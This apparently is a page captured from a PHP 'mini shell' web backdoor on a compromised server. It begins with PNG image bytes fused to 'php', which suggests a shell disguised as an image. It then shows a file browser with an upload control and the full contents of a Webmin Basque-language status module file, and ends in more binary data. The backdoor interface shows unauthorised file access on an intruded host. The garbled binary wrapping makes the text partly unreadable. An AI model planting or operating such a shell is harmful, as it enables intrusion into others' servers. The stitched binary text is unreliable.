php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/status/lang/
upload
files >> //usr/libexec/webmin/status/lang/eu.auto

index_title=Sistema eta zerbitzariaren egoera
index_name=Zerbitzuaren izena
index_host=Ostalarian
index_desc=Jarraipen
index_up=Egoera
index_last=Azken egiaztapena
index_local=Tokiko
index_add=Gehitu motako monitorea:
index_sched=Programatutako jarraipena
index_scheddesc=Aktibatu edo desaktibatu monitoreen egiaztapena eta zehaztu hutsegiteak automatikoki bidaliko zaizkion helbideak.
index_return=zerbitzuen zerrenda
index_none=Ez dago monitore definiturik.
index_oldtime=Aurreikusitako azken egiaztapenaren egoera $1 ean
index_esnmp=Modulua SNMP tranpak <a href='$3'>Moduluaren Konfigurazioa</a> orrian bidaltzeko konfiguratuta dago, baina $1 Perl modulua ez dago instalatuta. <a href='$2'>Egin klik hemen</a> deskargatu eta instalatzeko.
index_refresh=Freskatu egoera
index_refreshdesc=Egin monitore egoera guztien berehalako freskapena, hurrengo eguneratutako egitarauaren zain egon beharrean.
index_delete=Ezabatu Hautatuta
index_refsel=Eguneratu aukeratua
index_group=$1 eko kideak
index_tmpls=Editatu posta elektronikoaren txantiloiak
index_tmplsdesc=Begiraleko zerbitzuak bidalitako mezu elektronikoak eraikitzeko erabiltzen diren txantiloiak ikusi eta editatu.

type_apache=Apache Webserver
type_inetd=Internet eta RPC zerbitzaria
type_xinetd=Interneteko zerbitzari hedatua
type_squid=Squid proxy zerbitzaria
type_bind8=DNS zerbitzari BIND
type_dnsadmin=BIND 4 DNS zerbitzaria
type_dhcpd=DHCP zerbitzaria
type_tcp=Urruneko TCP zerbitzua
type_http=Urruneko HTTP zerbitzua
type_sslcert=SSL ziurtagiria
type_ftp=FTP urruneko zerbitzua
type_sendmail=Sendmail zerbitzaria
type_postfix=Postfix zerbitzaria
type_fail2ban=Fail2Ban zerbitzaria
type_ping=Urruneko Ping
type_proc=Egiaztatu prozesua
type_mysql=MySQL datu-base zerbitzaria
type_postgresql=PostgreSQL datu-base zerbitzaria
type_samba=Samba zerbitzariak
type_nfs=NFS zerbitzaria
type_exec=Agintea egikaritzea
type_file=Egiaztatu Fitxategia edo Direktorioa
type_traffic=Sarearen trafikoa
type_space=Disko Gunea
type_du=Direktorioaren tamaina
type_consume=Disko espazioaren kontsumoa
type_load=Karga-batez bestekoa
type_change=Fitxategia edo direktorio aldaketa
type_oldfile=Fitxategia aldatu gabe
type_qmailadmin=QMail zerbitzaria
type_mon=MON Zerbitzuen monitorea
type_jabber=Jabber IM zerbitzaria
type_usermin=Usermin Webserver
type_portsentry=Portsentry Daemon
type_hostsentry=Hostsentry Daemon
type_webmin=Webmin Webserver
type_cfengine=Konfigurazio motorra daemon
type_memory=Memoria askea
type_proftpd=ProFTPD zerbitzaria
type_dovecot=Dovecot IMAP/POP3 zerbitzaria
type_mailserver=Posta elektronikoaren erantzuna
type_sshd=SSH zerbitzaria
type_raid=RAID gailuen egoera
type_iface=Sareko interfaze egoera
type_init=Abiarazi Ekintza
type_sensors=LM sentsorearen egoera
type_nut=NUT UPS balioa
type_mailq=Posta ilarako tamaina
type_dns=DNS bilaketa
type_query=SQL Kontsulta
type_alive=Sistema Alive
type_rssh=Urruneko SSH
type_slapd=LDAP zerbitzaria
type_ldap=LDAP konexioa

mon_create=Sortu Monitorea
mon_edit=Editatu monitorea
mon_virtualmin=Kontuz! Monitore hau $1 Virtualmin domeinuarekin lotuta dago eta, beraz, ez da hemen editatu edo ezabatu behar.
mon_header=Begiralearen xehetasunak
mon_header2=Exekutatzeko aginduak
mon_header3=Begiratutako zerbitzuen aukerak
mon_desc=deskribapena
mon_remote=Exekutatu ostalarian
mon_remotes2=Exekutatu ostalari eta taldeetan
mon_local=Tokiko
mon_none=Ez da urruneko zerbitzaririk zehaztu
mon_nosched=Egitaraua ikusi?
mon_warndef=Bai, eta erabili jakinarazpen modu lehenetsia
mon_warn1=Bai, eta egoeraren aldaketen berri eman
mon_warn0=Bai, eta jaitsi salatu
mon_warn2=Bai, eta jakinarazi behera
mon_warn3=Bai, baina ez da inoiz salatu
mon_status=Egungo egoera
mon_up=up
mon_down=Down
mon_webmin=Webmin Behera
mon_timeout=Denboralizatua
mon_not=Ez dago instalatuta
mon_ondown=Monitorea jaisten bada, exekutatu komandoa
mon_onup=Monitorea agertzen bada, exekutatu komandoa
mon_ontimeout=Monitorea agortzen bada, exekutatu komandoa
mon_clone=Jarraitzeko modulua
mon_err=Ezin izan da monitorea gorde
mon_edesc=Falta den deskribapena
mon_elogin=WebPC zerbitzariaren $1 ean RPC sarbide baliogabea
mon_eremote2=Ezin izan da $1 webmin zerbitzariarekin harremanetan jarri : $2 
mon_estatus=Webmin zerbitzariak $1 ek ez du Sistema eta zerbitzariaren egoera modulua
mon_ecannot=Ezin duzu monitoreak editatu
mon_ertype=Monitore mota hau ez dago $1 erabilgarri
mon_etype=Monitore motaren izena baliogabea
mon_runon=Exekutatu komandoak
mon_runon0=Zerbitzari hau
mon_runon1=Urruneko ostalaria
mon_oninfo=Oharra: Komandoak posta elektronikoa bidaltzen denean bakarrik exekutatuko dira
mon_fails=Hutsegiteak salatu aurretik
mon_efails=Hutsegite kopurua edo baliogabea
mon_notify=Jakinarazteko metodoak
mon_notifyemail=Emaila
mon_notifypager=pager
mon_notifysnmp=SNMP
mon_notifysms=SMS
mon_email=Bidali e-posta zerbitzua zerbitzu honetara
mon_depend=Ez egiaztatu monitorea behera dagoenik
mon_edepend=Monitore bat ezin da bere buruaren mende egon
mon_clone2=Clone
mon_skip=saltatu
mon_empty=Taldekiderik ez
mon_onemem=Kide bat
mon_members=$1 kide
mon_enoremote=Ez dago ostalaririk edo talderik hautatuta exekutatzeko
mon_tmpl=Mezuentzako txantiloia
mon_notmpl=Bat ere ez (erabili Webmin lehenetsiak)
mon_header4=Egoeraren historia
mon_hwhen=Egiaztatu data
mon_hold=Egoera zaharra
mon_hnew=Egoera berria
mon_hvalue=Balio
mon_changes0=Erakutsi gertaera mota guztiak
mon_changes1=Erakutsi aldaketak bakarrik
mon_all=Erakutsi gertaera historiko guztiak
mon_nochanges=Azken $1 gertaera historikoetan ez da egoera aldaketarik gertatu.

sched_title=Programatutako jarraipena
sched_header=Aurreikusitako fondoen jarraipena egiteko aukerak
sched_mode=Programatutako egiaztapena gaituta dago?
sched_email=Posta elektronikoko egoeraren txostena
sched_pager=Orriaren egoeraren memoria zenbakira
sched_none=Ez bidali mezu elektronikorik
sched_pnone=Ez bidali orririk
sched_from=Noiz: helbide elektronikoa lortzeko
sched_int=Begiratu guztietan
sched_period_0=minutu
sched_period_1=ordu
sched_period_2=egun
sched_period_3=hilabete
sched_period_4=aste
sched_offset=desplazamenduarekin
sched_warn=Bidali mezu elektronikoa noiz
sched_warn1=Zerbitzu batek egoera aldatzen duenean
sched_warn0=Zerbitzua jaisten denean
sched_warn3=Zerbitzua martxan dagoen bitartean
sched_warn2=Edozein denbora zerbitzua desagertuta dago
sched_single=Bidali mezu elektroniko bat zerbitzu bakoitzeko?
sched_hours=Exekutatu monitorea orduetan
sched_days=Exekutatu monitorea egunetan
sched_err=Huts egin du aurreikusitako jarraipena gordetzean
sched_eemail=Helbide elektronikoa falta da
sched_eint=Falta edo tarte baliogabea
sched_eoffset=Falta edo desplazamendu baliogabea
sched_ehours=Aukeratutako orduetan ez da igarotzeko ordurik
sched_edays=Ez dago aukeratutako egunetan exekutatzeko
sched_ecannot=Ez zaizu aurreikusitako jarraipena editatzen
sched_smtp=Bidali posta bidez
sched_smtp_prog=Tokiko posta zerbitzaria
sched_smtp_server=SMTP zerbitzaria
sched_esmtp=SMTP zerbitzaria edo falta da
sched_esmtpcmd=$1 SMTP komandoak huts egin du : $2 
sched_eemailserver=Zure posta zerbitzaria ez dago instalatuta : $1 
sched_sms=Bidali SMS helbidera
sched_smsno=Inork
sched_smscarrier=Telefonoa garraiatzailean
sched_smsnumber=zenbakiarekin
sched_esmsnumber=Falta den edo ez zenbakizko SMS zenbakia
sched_esmsname=Falta den edo itxurarik gabeko SMS zenbakia
sched_subject=SMS mezuen gaia
sched_subject0=Bat ere ez (alerta gorputzean dago)
sched_subject1=Alerta-testua (utzi gorputza hutsik)
sched_subject2=Testu pertsonalizatua
sched_esubject=SMS mezuen gaia falta da

up_since=$1 etik gora
depends_mod=$1 modulua ez dago zure sisteman instalatuta
depends_os=$1 modulua ez da onartzen zure sisteman
depends_remote=$1 moduluak ez du onartzen $2 zerbitzarian

tcp_host=Konektatzeko ostalaria
tcp_port=Konektatzeko portua
tcp_alarm=Konexioaren iraupena
tcp_ehost=Ostalari-izen falta edo baliogabea
tcp_eport=Ataka-zenbaki falta edo baliogabea
tcp_ealarm=Konexioaren iraungitze falta edo baliogabea

http_url=Eskatzeko URLa
http_alarm=Konexioaren iraupena
http_eurl=URL falta edo baliogabea
http_ealarm=Konexioaren iraungitze falta edo baliogabea
http_login=Saioa hasi
http_none=Ez autentikatu
http_user=Erabiltzaile izena
http_pass=pasahitza
http_euser=Erabiltzaile izena falta da
http_method=HTTP eskaera metodoa
http_regexp=Orriak regexp-ekin bat egin behar du
http_eregexp=Ez da sartu adierazpenarekin bat datorren orrialderako adierazpen erregularrik
http_none2=Ez datoz bat
http_ehead=HEAD eskaera metodoa ezin da erabili adierazpen arruntak egiaztatzean
http_codes=HTTP egoera-kode onargarriak
http_codes_def=Lehenetsia ($1)
http_ecodes=Ez da onartu beharreko HTTP koderik sartu
http_ecodes3=HTTP kodeak hiru zifrako zenbakia izan behar du

ping_host=Ostalaria ping-era
ping_wait=Erantzuna itxaroteko denbora
ping_ehost=Ostalari-izen falta edo baliogabea
ping_ewait=Itxarote denbora falta da edo baliogabea
ping_econfig=Modulu konfigurazioan ez da ping komandoik ezarri
ping_timeout=$1 segundo igaro ondoren
ping_resolv=Ezin izan da ostalari-izena ebatzi

proc_pid=PID $1 ekin exekutatzen
proc_cmd=Egiaztatzeko komandoa
proc_not=Huts egin prozesua bada
proc_not0=Ez da exekutatzen
proc_not1=carrera
proc_ecmd=Komando falta
proc_thresh=Martxan jartzeko kontuan hartu behar den prozesuaren kopurua kopurua
proc_ethresh=Prozesu kopurua falta edo baliogabea
proc_asuser=Erabiltzaile gisa exekutatzen
proc_anyuser=Erabiltzaile oro
proc_easuser=Erabiltzailea existitzen ez den bezala exekutatzeko

exec_cmd=Exekutatzeko agindua
exec_mode=Irten egoeraren egiaztapena
exec_mode0=Hutsegiteak kontrolatzen du aginduak huts egiten badu
exec_mode1=Huts egin du kontrolatzeko aginduak arrakasta badu
exec_mode2=Ezikusi arrakasta edo porrota
exec_ecmd=Komando falta
exec_regexp=Konparatu irteera regexp-ekin
exec_noregexp=Ez egiaztatu
exec_remode=Regexp egiaztapena
exec_remode0=Huts egin irteera ez datorrelako
exec_remode1=Huts egin irteerak bat egiten badu

file_file=Fitxategia, direktorio edo eredua egiaztatzeko
file_test=Egiteko proba
file_test_0=Existitu behar da
file_test_1=Ez da existitu behar
file_test_2=Neurriak baino handiagoa izan behar du
file_test_3=Neurriak baino txikiagoak izan behar du
file_bytes=byte
file_efile=Fitxategiaren edo direktorioaren izena falta da egiaztatzeko
file_esize=Fitxategiaren tamaina baliogabea
file_elarge=Fitxategiak handiegiak : $1 
file_esmall=Fitxategiak txikiegiak : $1 
file_eowner=Jabe okerraren fitxategiak : $1 
file_egroup=Talde okerra duten fitxategiak : $1 
file_owner=Fitxategiaren jabea izan behar da
file_group=Fitxategi taldea izan behar da
file_nocheck=ezer
file_perms=Urriko baimenak izan behar dira
file_eperm=Baimen okerrak dituzten fitxategiak : $1 

traffic_iface=Interfazea kontrolatzeko
traffic_bytes=Gehienez byte/segundo
traffic_dir=Jarraipena egiteko norabidea
traffic_dir0=Sarrerak eta irteerak
traffic_dir1=Sarrera bakarrik
traffic_dir2=Irteera bakarra
traffic_desc=Monitore honek sareko trafikoaren jarraipena egiten du hautatutako interfaze batean, eta monitorea behera bistaratzen du zirkulazioak behean sartutako segundoko byte kopurua gainditzen badu. Honek benetan funtzionatzen du 5 minuturo bezala, jarraipen programatua gaituta badago.
traffic_eifaces=Zure sistema eragileak ez du/proc/net/dev fitxategirik
traffic_ebytes=Byte/segundo kopuru falta edo baliogabea

space_fs=Fitxategi-sistema egiaztatzeko
space_min2=Gutxieneko espazio librea
space_mode0=Tamaina absolutua
space_mode1=Guztizko ehunekoa
space_desc=$1 doan
space_nofs=Fitxategi-sistema muntatu gabe dago
space_other=Beste ..
space_emin=Toki libre falta edo baliogabea
space_epc=Espazio libreko portzentaje falta edo baliogabea
space_eother=Fitxategi sistema falta edo baliogabea
space_inode=Gutxieneko doako inodoak
space_ierr=$1 inodoak soilik dira
space_merr=$1 lekua soilik da
space_perr=$1% doan bakarrik
space_dferr=Ezin izan da fitxategi-sistemaren tamaina lortu

load_time=Kargaren batez bestekoa egiaztatzeko
load_1=1 minutu
load_5=5 minutu
load_15=15 minutu
load_max=Gehieneko karga batez bestekoa
load_emax=Gehieneko batez besteko karga falta edo baliogabea
load_ecmd=<tt>uptime</tt> komandoa ez da zure sisteman aurkitu
load_efmt=Ezin izan da <tt>uptime</tt> komandoaren irteera analizatu

log_create=$1 monitorea sortu da
log_modify=$1 monitore aldatua
log_delete=$1 monitorea ezabatu da
log_sched=Aldatutako jarraipen aldatua
log_deletes=$1 monitore ezabatu dira
log_tmpl_create=$1 posta elektronikoaren txantiloia sortu da
log_tmpl_modify=$1 posta elektronikoaren txantiloia
log_tmpl_delete=$1 posta elektronikoaren txantiloia ezabatu da
log_tmpl_deletes=$1 posta elektronikoaren txantiloiak ezabatu dira
log_refresh=Eguneratutako monitore egoerak

acl_edit=Monitoreak editatu eta sortu al ditzake?
acl_sched=Aldatu al daiteke aurreikusitako jarraipena?

change_file=Fitxategia edo direktorio kontrolatzeko (huts egin bada aldatu)

jabber_eparser=$1 Perl modulua ez dago zure sisteman instalatuta.

memory_min2=Gutxieneko memoria erreala doan
memory_emin=Memoria errealaren doako zenbatekoa falta edo baliogabea
memory_eproc=Webmin-ek ez daki memoria librea nola kontrolatu zure sistema eragilean
memory_free2=$1 memoria librea da
memory_freeswap=$1 memoria birtuala doan
memory_freelow=$1 memoria librea bakarrik da
memory_freelowswap=$1 soilik memoria birtuala doan
memory_minswap=Doako memoria birtual librea
memory_eminswap=Memoria birtual librearen kopuru falta edo baliogabea

proftpd_etype=Monitore hau ezin da erabili ProFTPD geldirik dagoenean

mailserver_to=Bidali helbide elektronikoa
mailserver_timeout=Iraupena eta tartea
mailserver_units_0=seconds
mailserver_units_1=Minutu
mailserver_units_2=Orduak
mailserver_units_3=egunak
mailserver_desc=Beheko helbidea, iturri bereko gaiarekin: lerroarekin erantzuten duen erantzun automatikoa izan behar du.

oldfile_file=Fitxategia kontrolatzeko (huts egin ez bada aldatu)
oldfile_diff=Huts egin du ez bada aldatu
oldfile_secs=secs

raid_device=RAID gailua
raid_edevice=Ez da RAID gailu bat aukeratu
raid_bad=Disko txarra hauteman da
raid_resync=Gaur egun biraketa
raid_notfound=Ez da aurkitu $1 RAID gailua
raid_other=Beste ..

iface_iface=Interfazea egiaztatzeko

init_action=Egiaztatzeko ekintza
init_eaction=Ez da ekintza aukeratu

refresh_title=Freskatu egoera
refresh_doing=Monitore guztien egoera freskatu ..
refresh_doing2=Hautatutako $1 monitoreen egoera freskatzen da ..
refresh_done=.. egin.

sensors_name=Sentsorea egiaztatu behar da
sensors_value=Huts egin du
sensors_value0=Sistemak abisua adierazten du
sensors_value1=Balioa $1 azpitik dago
sensors_value2=Balioa $1 en gainetik dago
sensors_cmd=<tt>sentsoreak</tt> komandoa ez dago zure sisteman instalatuta. Monitore honek lm_sensors paketea instalatu behar du funtziona dezan.
sensors_none=Ez da sentsorerik hauteman zure sisteman. Baliteke <tt>sentsoreak-detektatu</tt> hasierako agindua exekutatu behar izatea.
sensors_cur=$1 (gaur egun $2 $3)
sensors_emin=Gutxieneko balio falta edo falta da
sensors_emax=Gehienezko balio falta edo baliogabea

nut_ups=NUT UPS egiaztatzeko
nut_name=Egiaztatu beharreko atributua
nut_value=Huts egin du
nut_value1=Balioa $1 azpitik dago
nut_value2=Balioa $1 en gainetik dago
nut_cmd=<tt>upsc</tt> komandoa ez dago zure sisteman instalatuta. Monitore honek NUT paketea instalatu eta konfiguratu behar du funtziona dezan.
nut_eups=Ez da sartu USPrik egiaztatzeko
nut_cur=$1 (gaur egun $2)
nut_emin=Gutxieneko balio falta edo falta da
nut_emax=Gehienezko balio falta edo baliogabea

mailq_system=Posta zerbitzaria
mailq_qmailadmin=qmail
mailq_postfix=Postfix
mailq_sendmail=Sendmail
mailq_size=Gehieneko posta ilararen tamaina
mailq_esize=Gehien edo gehienezko ilararen tamaina falta da
mailq_toomany=Behera - $1 mezu jarri dira ilaran
mailq_ok=Gora - $1 mezu jarri ziren ilaran

dns_server=DNS zerbitzaria
dns_host=Ostalariaren izena bilaketara
dns_address=Aurreikusitako IP helbidea
dns_eserver=Falta den DNS zerbitzaria edo baliogabea
dns_ehost=Galdutako ostalariaren izena falta da edo baliogabea
dns_eaddress=Espero den IP helbide falta edo baliogabea
dns_ecmds=Ez dira <tt>nslookup</tt> edo <tt>dig</tt> komandoak instalatuta zure sisteman

monitor_sub_down=$1 behera $2 an
monitor_pager_down=$1 : "$2" $3 behera dago
monitor_snmp_down= $1:$2 
monitor_email_down=$1 -eko monitoreak $2 -rako zerbitzua $3 -ra jaitsi dela antzeman du
monitor_sub_up=$1 babeskopia egin du $2 an
monitor_pager_up=$1 : "$2" babeskopia egin da $3 
monitor_snmp_up= $1:$2 babeskopia egin da
monitor_email_up=$1 monitorearentzako '$2' zerbitzuak $3 atzera egin duela antzeman du
monitor_sub_un=$1 desinstalatu da $2 an
monitor_pager_un=$1 : "$2" $3 desinstalatu da
monitor_snmp_un= $1:$2 desinstalatu da
monitor_email_un=$1 -eko monitoreak $2 -rako aurkitu du zerbitzua $3 -n desinstalatuta dagoela
monitor_sub_webmin=$1 Webmin $2 an behera
monitor_pager_webmin=$1 : "$2" Webmin $3 behera
monitor_snmp_webmin= $1:$2 Webmin behera
monitor_email_webmin='$2' $1 monitoreak Webmin $3 -ra jaitsi dela detektatu du
monitor_sub_timed=$1 denbora-tartea $2 an amaitu da
monitor_pager_timed=$1 : "$2" $3 amaitu da
monitor_snmp_timed= $1:$2 denbora-muga amaitu da
monitor_email_timed=$1 -eko monitoreak $2 an $3 an iraungi da
monitor_sub_isdown=$1 behera $2 an
monitor_pager_isdown=$1 : "$2" $3 behera dago
monitor_snmp_isdown= $1:$2 
monitor_email_isdown=$1 -eko monitoreak $2 -rako zerbitzua $3 atzeman duela antzeman du
monitor_sub_isup=$1 $2 baino gehiago
monitor_pager_isup=$1 : "$2" $3 igo da
monitor_snmp_isup=$1:$2 
monitor_email_isup='$2' (r) en $1 monitoreak hauteman du zerbitzua $3 ra igo dela
monitor_sub=Zerbitzuaren monitorea : $1 
monitor_sub2=Zerbitzuaren monitorea
monitor_sub3=Zerbitzuaren monitorea: $1 zerbitzuak
monitor_run1=$1 exekutatzen $2 an.
monitor_run2=$1 exekutatzen ari da ..
monitor_runerr=Huts egin du $1 exekutatzeak $2 an : $3 an
monitor_email_stat=Uneko egoera: $1 

deletes_egone=Aukeratutako monitoreetako bat ez da existitzen
deletes_enone=Ez da monitore hautatu

ftp_host=FTP zerbitzariaren ostalaria
ftp_port=FTP portua
ftp_user=Sartu erabiltzaile gisa
ftp_anon=Anonymous
ftp_pass=Pasahitzarekin
ftp_file=Eskuratzeko fitxategia
ftp_none=Bat ere ez (saioa hasi)
ftp_ehost=FTP zerbitzariaren ostalari falta edo baliogabea
ftp_eport=FTP zerbitzariaren portu falta edo baliogabea
ftp_efile=Deskargatzeko fitxategi falta edo baliogabea
ftp_tls=Erabili TLS enkriptazioa?
ftp_etls=Ezin da TLS gaitu $1 Perl modulua instalatu ezean
ftp_econn=TLS FTP konexioak huts egin du
ftp_econn2=TLS FTP konexioak huts egin du : $1 
ftp_elogin=TLS FTP sarbidea huts egin du : $1 
ftp_etlsfile=TLS FTP deskargak huts egin du : $1 

query_driver=SQL datu base mota
query_db=Datu-basearen izena
query_host=Datu-base zerbitzariaren ostalaria
query_local=Zerbitzari hau
query_user=Sartu erabiltzaile gisa
query_pass=Sartu pasahitzarekin
query_sql=Exekutatzeko SQL kontsulta
query_result=Espero zen emaitza
query_ignore=Ezikusi emaitza
query_edriver=$1 Perl driver modulua ez dago instalatuta
query_edb=Datu-basearen izen falta edo baliogabea
query_ehost=Datu-base zerbitzariaren ostalari-izena falta da edo ez da baliozkoa
query_euser=Erabiltzaile-izena baliogabea
query_epass=Pasahitz okerra
query_esql=SQL kontsulta falta da
query_eresult=Espero den emaitza falta da
query_elogin=Saioa ez da huts egin : $1 
query_eprepare=SQL errorea : $1 
query_eexecute=SQL huts egin du : $1 
query_ewrong=Emaitza okerra : $1 

consume_rate=Gehieneko kontsumo-tasa (segundoko)
consume_high=Kontsumo tasa $1 / segundokoa da

alive_up=$1 igo

rssh_host=SSH zerbitzariaren ostalaria
rssh_ruser=Sartu erabiltzaile gisa
rssh_rpass=Sartu pasahitzarekin
rssh_nopass=Ez da beharrezkoa
rssh_nologin=Ez saiatu saiatzen
rssh_ehost=Falta da edo SSH zerbitzariaren ostalari baliogabea
rssh_eruser=Erabiltzaile izena falta da
rssh_ecmd=<tt>ssh</tt> komandoa ez dago zure sisteman instalatuta
rssh_eproc=Prozesuak exekutatzen modulua ez da zure sisteman onartzen
rssh_wrongpass=Saioa hasiera okerra
rssh_failed=Konexioak huts egin du
rssh_error=SSH errorea
rssh_haspass=Pasahitza
rssh_port=SSH zerbitzariaren portua
rssh_eport=Ataka-zenbaki falta edo baliogabea

tmpls_title=Posta elektronikoaren txantiloiak
tmpls_ecannot=Ezin duzu posta elektronikoaren txantiloiak editatu
tmpls_none=Oraindik ez da helbide elektronikoaren txantiloiak zehaztu. Alerta guztiak Webmin mezu lehenetsiak erabilita bidaliko dira.
tmpls_desc=deskribapena
tmpls_email=Mezu elektronikoa
tmpls_add=Gehitu helbide elektroniko berri bat.
tmpls_return=txantiloien zerrenda
tmpls_delete=Ezabatu hautatutako txantiloiak

tmpl_title1=Sortu helbide elektronikoa txantiloia
tmpl_title2=Editatu posta elektronikoaren txantiloia
tmpl_header=Alerta posta elektronikoaren txantiloiko mezuak
tmpl_desc=Txantiloiaren deskribapena
tmpl_email=Mezu elektronikoa
tmpl_sms=SMS mezua
tmpl_sms1=Webmin lehenetsia
tmpl_sms0=Mezu pertsonalizatua behean ..
tmpl_snmp=Pager mezua
tmpl_instr=Argibideak eta ordezkapenak
tmpl_subs=Orrialde honetan zehaztutako helbide elektronikoak, SMSak eta bilatzaile elektronikoak honako ordezkapen hauek erabil ditzakete :
tmpl_subs_desc=Zerbitzuaren deskribapena
tmpl_subs_host=Ostalaria kontrolatzen ari da
tmpl_subs_date=Egungo data
tmpl_subs_time=Oraingo ordua
tmpl_subs_status=Zerbitzuaren egoera, esaterako <i>Behera</i>
tmpl_subs2=Gainera, baldintza bezalako blokeak erabil ditzakezu: <tt>$1 Zerbitzua $2 behera dago. Zerbitzua $3 ondo dago</tt>
tmpl_err=Huts egin du posta elektronikoaren txantiloia gordetzean
tmpl_edesc=Txantiloiaren deskribapena falta da
tmpl_emsg=Falta mezu elektronikoa
tmpl_esms=SMS mezua falta da
tmpl_esnmp=SNMP mezu falta da
tmpl_err2=Ezin izan da e-posta txantiloia ezabatu
tmpl_eusers=Monitore hauek erabiltzen dute : $1 

dtmpls_err=Ezin izan da txantiloiak ezabatu
dtmpls_enone=Ez da hautatu
dtmpls_eusers=$1 monitoreek erabiltzen dute : $2 

sslcert_src=Ziurtagiriaren kokapena
sslcert_url=HTTPS URLtik
sslcert_file=Fitxategitik zerbitzarian
sslcert_eurl=URL falta, baliogabea edo ez den SSL URLa
sslcert_efile=Ziurtagiri fitxategi falta edo baliogabea
sslcert_ecert=Ezin izan da ziurtagiririk eskuratu
sslcert_edown=Web zerbitzaria behera dago
sslcert_days=Iraungitzea baino egun batzuk lehenago huts egitea
sslcert_when=Iraungitakoan
sslcert_mismatch=Era berean, ostalarien izenak ez datoz bat atzeman?
sslcert_edays=Falta den edo baliogabeko egun kopurua
sslcert_eopenssl=<tt>openssl</tt> komandoa beharrezkoa da ziurtagiriak egiaztatzeko
sslcert_estart=Ez da baliozkoa $1 era arte
sslcert_eend=Ez da baliozkoa $1 ondoren
sslcert_left=Gora - $1 egun iraungi arte
sslcert_ematch=$1 ostalariaren izena ez dator $2 ziurtagiriarekin
sslcert_emismatch=Ziurtagiriaren ostalariaren izena egiaztatzea URL bat egiaztatzean soilik erabil daiteke

du_dir=Direktorioa kontrolatzeko
du_max=Gehieneko tamaina
du_edir=Falta den edo ez den direktorio direktorio bat
du_emax=Gehieneko tamaina falta edo ez-numerikoa
du_over=Tamaina $1 da
du_under=Tamaina $1 baino ez da

ldap_edriver=$1 Perl modulua ez dago instalatuta
ldap_host=LDAP zerbitzariaren ostalariaren izena
ldap_port=LDAP zerbitzariaren portua
ldap_ssl=SSL konexioa erabili?
ldap_user=LDAP zerbitzariaren hasiera
ldap_pass=LDAP zerbitzariaren pasahitza

info_desc=Sistemaren monitorea
info_last=Egungo egoera
info_title=Sistema eta zerbitzariaren egoera
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`